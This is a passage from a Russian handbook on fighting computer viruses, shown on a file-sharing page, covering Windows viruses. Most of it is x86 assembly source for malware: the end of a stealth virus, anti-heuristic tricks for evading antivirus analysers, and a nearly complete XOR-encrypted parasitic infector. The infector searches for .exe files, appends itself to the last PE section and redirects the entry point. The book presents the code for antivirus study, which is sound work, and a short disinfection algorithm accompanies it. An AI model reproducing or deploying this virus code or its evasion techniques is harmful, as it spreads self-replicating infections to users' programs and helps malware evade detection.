Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Технологии борьбы с компьютерными вирусами. Практическое пособие

.pdf
Скачиваний:
0
Добавлен:
15.08.2026
Размер:
1 Мб
Скачать

Windows вирусы

231

 

 

 

pop

edi esi

; Восстанавливаем edi, esi

ret

 

; Возврат из подпрограммы

;----------------------------------------------

 

find_code:

 

 

push

esi edi

; Сохраняем esi, edi

add

esi,dword ptr [esi+3ch]

; Теперь esi указывает

mov

edi,esi

; íà "PE"

mov

ebx,[esi + 74h]

;

shl

ebx,3

; Получаем

xor

eax,eax

 

mov

ax,word ptr [esi + 6h]

; количество объектов

find2:

 

 

mov

esi,edi

;

dec

eax

;

push

eax

;

mov

ecx,28h

; Заголовок секции

mul

ecx

; * размер заголовка

add

esi,78h

; Теперь esi указывает на

add

esi,ebx

; начало последнего

add

esi,eax

; заголовка секции

mov

eax,[ebp+entry_point]

;

mov

edx,dword ptr[esi+0ch]

; Здесь производится

cmp

edx,eax

; поиск секции, в которой

pop

eax

; находится точка входа

jg

find2

;

add

edx,dword ptr[esi+08h]

;

cmp

edx,[ebp+entry_point]

;

jl

find2

;

mov

edx,dword ptr[esi+0ch]

; Затем к началу секции в

 

 

; памяти

mov

eax,[ebp+entry_point]

; прибавляется расстояние

sub

eax,edx

; до точки входа

add

eax,dword ptr[esi+14h]

; Таким образом,

mov

[ebp+start_code],eax

; в eax физическое смещение

 

 

; начала кода

or

dword ptr [esi + 24h],00000020h or 20000000h or 80000000h

 

 

; Также меняем аттрибуты

 

 

; секции

pop

edi esi

; Восстановим edi esi

ret

 

; Возврат из подпрограммы

;----------------------------------------------

 

find_entry:

 

 

push

esi

; Сохранение esi

add

esi,dword ptr[esi+3ch]

; Определение и

mov

eax,dword ptr[esi+28h]

; сохранение точки входа

mov

[ebp+entry_point],eax

;

pop

esi

; Восстановление esi

ret

 

; Возврат из процедуры

;----------------------------------------------

 

 

232

 

 

 

Windows вирусы

 

 

 

 

 

restore:

 

 

 

 

 

sub

edi,31

 

; Формирование

 

mov

[ebp+ret_addr],edi

; адреса возврата

 

lea

esi,[ebp+saved_bytes]

; А также перемещение

 

cmp

dword ptr [esi],0

; на старое место

 

 

 

 

; оригинальных

 

jne

working

 

; байт программы

 

mov

[ebp+ret_addr],0

;

 

ret

 

 

;

working:

 

 

 

;

 

mov

ecx,31

 

;

 

rep

movsb

 

;

 

ret

 

 

; Возврат из подпрограммы

;----------------------------------------------

 

 

 

 

mask1

db

'*.exe',0

 

;Адреса функций, вычисленные для Windows XP

 

FindFirstFileA

Dd

077E75D9EH

 

FindNextFileA

Dd

077E75E67H

 

CreateFileA

 

Dd

077E7A837H

 

CloseHandle

 

Dd

077E77963H

 

ExitProcessV

Dd

077E75CB5H

 

CreateFileMappingA Dd

077e77797H

 

MapViewOfFileA

Dd

077e74d76H

 

UnmapViewOfFile

Dd

077e75090H

 

redirect_bytes

db

0ach,03ch,0e8h,075h,0fbh,0adh,03dh,00h,00h

 

 

db

00h,00h,75h,0f3h,0adh,03dh,05dh,081h,0edh,05h

 

 

db

075h,0ebh,083h,0eeh,09h,0ffh,0d6h

saved_bytes

 

db

31 dup(0)

 

finish:

 

 

 

 

entry_point

 

dd

0

 

start_code

 

dd

0

 

ret_addr

 

dd

0

 

fHnd

 

dd

0

 

mHnd

 

dd

0

 

mapaddress

 

dd

0

 

memory

 

dd

0

 

zeros_place

 

dd

0

 

Fhandle

 

dd

0

 

find_file

 

db

313 dup(0)

 

;----------------------------------------------

 

 

 

 

.code

 

 

 

 

 

nop

 

 

 

;----------------------------------------------

 

 

 

 

end

 

start

 

 

;----------------------------------------------

Данный вирус демонстрирует возможности маскировки длины инфицированной программы. Аналогичный метод был использован во всем известном ви-

Windows вирусы

233

 

 

русе Win CIH. Cтоит заметить, что данный вирус на некоторых программах работает некорректно, но процент таких программ невелик.

На этом мы закончим наше знакомство со стелс механизмами. Разберем алгоритм лечения данного вируса:

1)идентифицировать инфицированную программу;

2)определить место, где хранятся оригинальные байты программы;

3)восстановить оригинальные байты программы;

4)удалить хвост вируса.

5.4. Антиэвристические приемы

Антиэвристические механизмы в вирусах под операционные системы семейства Windows по какой-то непонятной для меня причине реализуются довольно просто. По всей видимости эвристические анализаторы кода работают гораздо эффективнее с DOS-вирусами, потому что они существуют уже довольно долго (в общей сумме около 20 лет или даже больше). В Windows-вирусах эвристиче- ские алгоритмы работают скажем так, не очень эффективно. С чем это связано сказать довольно трудно, но меня это положение очень даже радует.

Итак, основными антиэвристическими механизмами являются трюки с адресом возврата, большое количество мусорного кода и обход неработающего кода циклом с довольно большим количеством повторений.

Давайте рассмотрим обман анализатора с применением трюков со стеком и адресом возврата:

;----------------------------------------------

 

 

push

offset nexta

; Антиэвристика

ret

 

;

nexta:

 

 

;...............................

 

 

;----------------------------------------------

 

 

Обман анализатора кода основан на том, что мы в стек забрасываем адрес возврата на метку, после которой идет вирусный код, и переходим туда при помощи процедуры возврата из функции. Анализатор не понимает, куда идет переход, и думает, что осуществляется выход из программы, но он сильно заблуждается.

Теперь рассмотрим обход неработающего кода циклом с большим количеством повторений:

;----------------------------------------------

 

mov ecx,0ffffh

; Количество провторений

ah1:

 

jmp ah2

; Переход на повтор

ret

; Не работающий код

ah2:

 

loop ah1

; Повторение цикла

;----------------------------------------------

 

Данный трюк весьма эффективен не только в DOS, но и в Windows-вирусах.

234

Windows вирусы

 

 

Теперь о трюке с использованием большого количество мусорного кода. Он основан на том, что эвристические анализаторы «не видят» вирусного кода, находящегося за мусорными инструкциями.

;----------------------------------------------

 

db 1000 dup (90h)

; 1000 nop'îâ

;----------------------------------------------

 

Создание собственных антиэвристических механизмов вещь довольно занятная, но анализаторы кода под операционные системы семейства Windows со времением все больше и больше совершенствуются. И все защитные механизмы в вирусах защищают вирус, пока он не попадет к антивирусным компаниям.

Антиэвристические трюки всего лишь усложняют анализ вируса, не меняя алгоритм его лечения.

5.5. Динамическое шифрование

Динамическое шифрование очень часто применяется в компьютерных вирусах, и именно поэтому необходимо рассмотреть его применение и для Windows-вирусов. Реализация шифрованного вируса под операционные системы семейства Windows не намного сложнее, чем разработка аналогичного вируса под DOS. В нашей разработке будет использован тот же алгоритм, но он будет переписан под 32-битный Ассемблер.

Теперь рассмотрим схему работы простейшего шифрованного вируса типа parasitic.

Следует рассмотреть, как выглядит файл до инфицирования и после: а) до инфицирования:

б) после инфицирования:

Перейдем к подробному алгоритму функционирования данного вируса:

0)получение дельта-смещения;

1)вызов шифровщика/расшифровщика (при первом запуске расшифруется 0, что кода не изменяет). При втором и последующих запусках шифрует/расшифрует от метки encrypted и до метки finished;

Windows вирусы

235

 

 

2)получаем адрес kernel32 и функции GetProcAddress;

3)ищется файл, при положительном результате поиска переход на метку infect, где и происходит инфицирование файла;

4)вначале перед инфицированием шифруется код, затем, уже зашифрованный, он переписывается в заражаемый файл с нешифрованным шифровщиком/расшифровщиком;

5)идет переход на поиск нового файла. Если такового нет, то работа вируса завершается.

Рассмотрим листинг данного вируса:

;----------------------------------------------

.386

.model flat

; Функция необходимая для запуска вируса после компоновки

extrn

ExitProcess:PROC

 

 

.data

 

 

 

; Вирус расположен в области

 

 

 

; данных

start:

 

 

 

 

;----------------------------------------------

 

 

 

 

 

mov

ebx,[esp]

; Возьмем из стека адрес

 

xor

bx,bx

; Kernel'a И найдем его начало

 

call

delta

 

;

delta:

 

 

 

; Получаем дельта-смещение

 

pop

ebp

 

;

 

sub

ebp,offset delta

 

;

;----------------------------------------------

 

 

 

 

 

lea

esi,[ebp+encrypted]

 

; Откуда декриптуем

 

mov

edi,esi

 

; Расшифрованный код кладем на

 

 

 

 

; старое место

 

mov

ecx,finish-encrypted

 

; Количество криптованных байт

 

call

encryption

 

; Вызов функции криптования

 

jmp

encrypted

 

; Переходим к уже

 

 

 

; расшифрованному коду

encryption:

 

 

 

; Процедура шифрования

 

lodsb

 

 

; Загружаем байт в al

 

xor

al,byte ptr[ebp+decrypt]

; Преобразуем его XOR

 

stosb

 

; Кладем преобразованный байт

 

 

 

; на старое место

 

loop

encryption

 

; Расшифровываем весь

 

 

 

; криптованный код

 

ret

 

; Возврат из процедуры

 

decrypt db 0

 

; Ключ для шифрования

encrypted:

 

 

 

 

;----------------------------------------------

 

 

 

 

 

mov

al,[ebp+decrypt]

 

 

 

mov

[ebp+save],al

 

 

 

mov

eax,dword ptr [ebp + offset oldip]

; Восстанавливаем старую точку

 

add

eax,dword ptr [ebp + offset imagebase]; и виртуальный адрес начала

236

 

Windows вирусы

 

 

 

 

 

; программы

push

eax

; Кладем eax в стек

pushad

; Сохраняем все регистры

call

getproc

 

lea

eax,dword ptr[ebp+find_file]

;

push

eax

; Заполняем параметры

lea

eax,dword ptr[ebp+mask1]

; и вызываем функцию

push

eax

; FindFirstFileA

lea

eax,dword ptr[ebp+FindFirstFileA]

;

call

GETAPI

;

cmp

EAX, -1

; Если файлов нет

je

End_it

; тогда выходим

mov

[ebp+Fhandle],eax

; Сохраняем хэндл поиска

inf1:

 

 

mov

ecx,dword ptr [ebp + find_file + 20h]

; ecx = filesize

mov

[ebp + offset filesize], ecx

; Сохраняем размер файла

add

ecx, finish - start + 1000h

; filesize + virus

mov

[ebp + offset memory], ecx

; +workspace=memory

call

infect

 

f_next:

 

 

call

Fnext

 

cmp

eax,0

; 0 Файлы закончились

jne

inf1

 

push

[ebp+Fhandle]

;

lea

eax,[ebp+FindClose]

; Закрытие поиска

call

GETAPI

;

;----------------------------------------------

 

End_it:

 

 

mov

al,[ebp+save]

; При заражении ключ меняется

mov

[ebp+decrypt],al

; Поэтому восстановим старый

 

 

; êëþ÷

popad

 

; Восстанавливаем все регистры

ret

 

; Отдаем управление носителю

;----------------------------------------------

 

infect:

 

 

lea

esi,[ebp+start]

; Копируем нешифруемое начало

lea

edi,[ebp+finish]

; которое будет расшифровывать

mov

ecx,encrypted-start

; весь остальной код

rep movsb

;

call

random

; Получаем случайное значение

mov

byte ptr [ebp+decrypt],al

; Это будет наш ключ,

lea

esi,[ebp+encrypted]

; откуда будем шифровать

lea

edi,[ebp+finish]

; Куда помещаем шифрованный

 

 

; êîä

add

edi,encrypted-start

; после нешифрованного кода

mov

ecx,finish-encrypted

; Количество байт для

 

 

; шифрования

call

encryption

; Начинаем шифровать

lea

esi,[ebp + find_file + 2ch]

; esi = имени файла

Windows вирусы

237

 

 

 

OpenFile:

 

 

push

0

 

push

00000080h

 

push

3

 

push

0

 

push

00000001h OR 00000002h

 

push

40000000h OR 80000000h

 

push

esi

 

lea

eax,[ebp+CreateFileA]

; Открытие файла

call

GETAPI

; для чтения/записи

mov

[ebp + offset fHnd],eax

; Сохранение хэндла файла

cmp

eax,-1

 

je

InfectionError

 

;----------------------------------------------

 

CreateFileMapping:

 

 

 

; Выделяем память

push

0

; Имя файла хэндл = 0

push

dword ptr [ebp+ offset memory]

; Максимальный размер = memory

push

0

; Минимальный размер = 0

push

4

; Доступ чтение/запись

push

0

;

push

dword ptr [ebp + offset fHnd]

 

lea

eax,[ebp + offset CreateFileMappingA]

call

GETAPI

; eax = хэндл

mov

[ebp + offset mHnd],eax

 

or

eax,eax

 

jz

CloseFile

 

MapViewOfFile1:

 

 

push

dword ptr [ebp + offset memory]

; Количество памяти для работы

push

0

;

push

0

;

push

2

; Режим записи

push

eax

; хэндл

lea

eax,[ebp + offset MapViewOfFile]

; Вызываем функцию

call

GETAPI

 

or

eax,eax

 

jz

CloseMap

 

mov

esi,eax

;

mov

[ebp + offset mapaddress],esi

; Сохраняем базу памяти

DoSomeChecks:

 

 

cmp

word ptr [esi],'ZM'

; Ýòî EXE ôàéë?

jne

UnmapView

 

cmp

word ptr [esi + 38h],'nf'

; Уже зараженный файл?

je

UnmapView

 

OkGo:

 

 

mov

ebx,dword ptr [esi + 3ch]

 

cmp

ebx,200h

 

ja

UnmapView

 

add

ebx,esi

 

cmp

word ptr [ebx],'EP'

; Ýòî PE ôàéë?

238

 

Windows вирусы

 

 

 

jne

UnmapView

 

mov

[ebp + offset PEheader],ebx

; Сохраняем PE заголовок

mov

esi,ebx

 

mov

eax,[esi + 28h]

 

mov

[ebp + offset oldip],eax

; Сохраняем старую точку

 

 

; входа (ip)

mov

eax,[esi + 34h]

 

mov

[ebp + offset imagebase],eax

; Сохраняем виртуальный адрес

 

 

; начала программы

;----------------------------------------------

 

LocateBeginOfLastSection:

 

mov

ebx,[esi + 74h]

;

shl

ebx,3

;

xor

eax,eax

 

mov

ax,word ptr [esi + 6h]

; Количество объектов

dec

eax

; (нам нужен последний-1

mov

ecx,28h

; заголовок секции)

mul

ecx

; * размер заголовка

add

esi,78h

; Теперь esi указывает на

add

esi,ebx

; начало последнего заголовка

add

esi,eax

; секции

ChangeLastSectionHeader:

 

or

dword ptr [esi + 24h],00000020h or 20000000h or 80000000h

NewPhysicalSize:

 

 

mov

eax,dword ptr [esi+10h]

; Старый физический размер

add

eax,finish-start

 

mov

dword ptr [esi+10h],eax

; Сохраняем его

VirtualSizeCheck:

 

 

mov

edi,dword ptr [esi + 8h]

; Получаем старый

cmp

eax, edi

; виртуальный размер

jge

NewVirtualSize

 

VirtualSizeIsVirtual:

 

add

edi,finish-start

 

mov

eax,edi

 

NewVirtualSize:

 

 

mov

ecx,[ebp + offset PEheader]

 

mov

ecx,[ecx + 38h]

 

div

ecx

; и выравниваем к

inc

eax

; секции выравнивания

mul

ecx

 

mov

[esi + 8h],eax

; Сохраняем новое значение

NewAlignedImageSize:

 

mov

eax,dword ptr [esi + 0ch]

; Получаем виртуальное

 

 

; смещение

add

eax,dword ptr [esi + 8h]

; + новый виртуальный размер

mov

[ebp+ imagesize],eax

; = новый виртуальный размер

Windows вирусы

239

 

 

NewAlignedFileSize:

 

mov

eax,dword ptr [esi+10h]

; Получаем новый физический

 

 

; размер

add

eax,dword ptr [esi + 14h]

; Добавляем смещение

 

 

; физического

mov

[ebp + offset filesize],eax

; размера = размер файла

CalculateNewIp:

 

 

mov

eax,dword ptr [esi+10h]

; Новый физический размер

add

eax,dword ptr [esi + 0ch]

; + виртуальное смещение

sub

eax,finish-start

; - размер вируса

mov

[ebp + newip],eax

; Новая точка входа

CopyVirusToEndOfFile:

 

mov

edi,dword ptr [esi+10h]

; Новый физический размер

sub

edi,finish-start

 

add

edi,[ebp + offset mapaddress]

; mapaddress

add

edi,[esi + 14h]

; Добавляем смещение

 

 

; потоковых данных

lea

esi,[ebp + finish]

; Копируем вирус

mov

ecx,(finish-start)/4 + 4

 

cld

 

 

rep

movsd

 

UpdatePEHeaderWithChanges:

 

mov

esi,dword ptr [ebp + offset mapaddress]

mov

word ptr [esi + 38h],'nf'

; Устанавливаем метку

mov

esi,dword ptr [ebp + offset PEheader] ; инфицированности

mov

eax,dword ptr [ebp + offset newip]

 

mov

[esi + 28h],eax

; Устанавливаем новую точку

mov

eax,[ebp + offset imagesize]

; входа

mov

[esi + 50h],eax

; Устанавливаем новый

 

 

; виртуальный размер

UnmapView:

 

 

push

dword ptr [ebp + offset mapaddress]

;

lea

eax,[ebp + UnmapViewOfFile]

; Закончиваем изменение файла

call

GETAPI

; в памяти и кладем

 

 

; его обратно

CloseMap:

 

 

push

dword ptr [ebp + offset mHnd]

;

lea

eax,[ebp + CloseHandle]

; Закрываем хэндл

call

GETAPI

;

push

0

 

push

0

 

push

dword ptr [ebp + offset filesize]

;

push

dword ptr [ebp + offset fHnd]

; Переходим в конец файла

lea

eax,[ebp + offset SetFilePointer]

;

call

GETAPI

 

push

dword ptr [ebp + offset fHnd]

;

lea

eax,[ebp + offset SetEndOfFile]

; Устанавливаем символ конца

call

GETAPI

; файла

240

 

 

Windows вирусы

 

 

 

 

;----------------------------------------------

 

 

 

CloseFile:

 

 

 

push

dword ptr [ebp + offset fHnd]

;

lea

eax,[ebp + offset CloseHandle]

; Закрываем файл

call

GETAPI

;

InfectionError:

 

 

 

ret

 

 

; Выходим из процедуры

;----------------------------------------------

 

 

 

Fnext:

 

 

 

lea

eax,[ebp+offset find_file]

;

push

eax

 

;

push

dword ptr[ebp+Fhandle]

; Процедура поиска следующего

lea

eax,[ebp+offset FindNextFileA]

; файла

call

GETAPI

;

ret

 

 

 

;----------------------------------------------

 

 

 

random:

 

 

; Функция получения случайного

 

 

 

; значения

lea

 

eax,[ebp+offset GetTickCount]

 

call

GETAPI

 

ret

 

 

 

;----------------------------------------------

 

 

 

Getproc:

 

 

 

next_block:

 

 

 

cmp

word ptr [ebx],'ZM'

; Начало?

je

found_MZ

; ÄÀ!

sub

ebx,1000h

; Ищем дальше

jmp

next_block

 

found_MZ:

 

 

 

mov

edx,ebx

; Сохраним указатель

mov

edi,dword ptr [ebx+3Ch]

; Адрес PE заголовка

add

edi,edx

; +адрес kernel'a

cmp

word ptr [edi],'EP'

; Проверка на PE

jne

Exit

 

; Не равно - выходим

mov

4 ptr [ebp+KernelAddr],edx

; Сохраним базовый адрес

 

 

 

; kernel'a

add

ebx,[edi+78h]

; Получим адрес таблицы

 

 

 

; экспортов

mov

ecx,[ebx+18h]

; Количество указателей

mov

esi,[ebx+20h]

; указатель на таблицу

 

 

 

; указателей имен

mov

edi,[ebx+24h]

; Указатель на таблицу

 

 

 

; ординалов

add

esi,edx

; Адрес таблицы имен в памяти

add

edi,edx

; Адрес таблицы ординалов

 

 

 

; в памяти

cld

 

 

; Поиск вперед

Search:

 

 

; Ищем функцию GetProcAddress

lodsd

 

 

; Берем указатель из таблицы

 

 

 

; указателей

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]